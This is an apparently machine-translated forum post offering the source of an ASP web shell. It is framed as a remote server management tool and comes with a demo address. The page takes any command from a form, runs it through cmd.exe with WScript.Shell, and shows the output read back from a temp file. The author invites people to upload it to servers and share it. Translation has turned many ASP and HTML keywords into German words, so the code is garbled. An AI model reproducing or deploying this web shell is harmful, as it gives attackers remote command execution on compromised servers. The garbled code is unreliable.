Kürzlich schreibe ich ein Remote-Server-Management-Tool (ich leihe mir einen Teil des Codes von ASE aus und füge Remote hinzu
Führen Sie Befehle, Uploads, Dienste und andere Funktionen aus. ), bekam A Xin, ADAM, Chen'er, Ghost_happy,
Ich bin sehr berührt von der Hilfe von Crazybird und vielen anderen Internetnutzern, daher habe ich vor, den gesamten Originalcode zu veröffentlichen, nachdem ich ihn geschrieben habe.
Veröffentlicht und darf frei geändert und verbreitet werden. Sie müssen lediglich das Programm auf einen ASP-fähigen Server hochladen.
Es ist zu beachten, dass das Programm zur Ausführung von FileSystemObject unterstützt werden muss. Das Folgende ist der Remote-Ausführungsbefehl
Originalcode. Kopieren Sie es und speichern Sie es als „execute.asp“.
Demo-Adresse: http://210.160.4.24/scripts/execute.asp
Es ist eine beschissene japanische Maschine, daher sind die chinesischen Schriftzeichen verstümmelt!
<html>
<Kopf>
<meta http-equiv=Content-Language content=zh-cn>
<meta http-equiv=Content-Type content=text/html;
<meta name=GENERATOR content=Microsoft FrontPage 4.0>
<meta name=ProgId content=FrontPage.Editor.Document>
<title>Befehl ausführen</title>
<Stil>
<!--
Tabelle, Körper {Schriftfamilie: 宋体; Schriftgröße: 9pt}
a{ Schriftfamilie: 宋体; Schriftgröße: 9pt Farbe: rgb(0,32,64);
Textdekoration: keine }
a:hover{ Schriftfamilie: 宋体; Farbe: rgb(255,0,0);
}
a:visited{ color: rgb(128,0,0) }
->
</style>
</head>
<body bgcolor=#000000 text=#C0C0C0>
<form method=POST action=execute.asp>
<p align=left>Geben Sie den auszuführenden Befehl ein: <input type=text name=ml
size=20 value=dir c:/ style=background-color: #C0C0C0;
#000000; Rahmenstil: fest; Rahmenbreite: 1>
<Eingabetyp=Wert senden=Ausführungsname=B1-Stil=Hintergrundfarbe:
#C0C0C0; Farbe: #000000; Rand: 1 Rille #C0C0C0></p>
</form>
<%
ml=request.form(ml)
cmd=c:/winnt/system32/cmd.exe /c &ml& >c:/whoamI.txt 'Ändern
Pfad whoamI.txt zu einem Verzeichnis mit Schreibberechtigungen
Setze WShShell = Server.CreateObject(WScript.Shell)
RetCode = WShShell.Run(cmd, 1, True)
wenn RetCode = 0 Dann
Response.write ml &
Response.write-Befehl erfolgreich ausgeführt! &<br><br>
anders
Die Ausführung des Response.write-Befehls ist fehlgeschlagen! Unzureichende Berechtigungen oder das Programm kann nicht im DOS-Status ausgeführt werden
! &<br><br>
Ende wenn
'response.write cmd
Funktionhtmlencode(str)
düsteres Ergebnis
schwach l
if isNULL(str) then
htmlencode=
Exit-Funktion
Ende wenn
l=len(str)
Ergebnis=
dimi
für i = 1 bis l
wähle den Fall mid(str,i,1)
Fall <
Ergebnis=Ergebnis+<
Fall >
Ergebnis=Ergebnis+>
Gehäuse Chr(34)
Ergebnis=Ergebnis+
Fall&
Ergebnis=Ergebnis+&
Fall anders
result=result+mid(str,i,1)
Ende auswählen
nächste
htmlencode=result
Endfunktion
Setze fs =CreateObject(Scripting.FileSystemObject)
Setze thisfile = fs.OpenTextFile(c:/whoamI.txt, 1, False) 'Lesen Sie die Datei, vergessen Sie nicht
Ändern Sie den Pfad.
Zähler=0
Tun Sie dies jedoch nicht mit thisfile.atendofstream
Zähler=Zähler+1
thisline=htmlencode(thisfile.readline)
Antwort.Schreibe diese Zeile&<br>
Schleife
thisfile.Close
setze fs=nichts
%>
</body>
</html>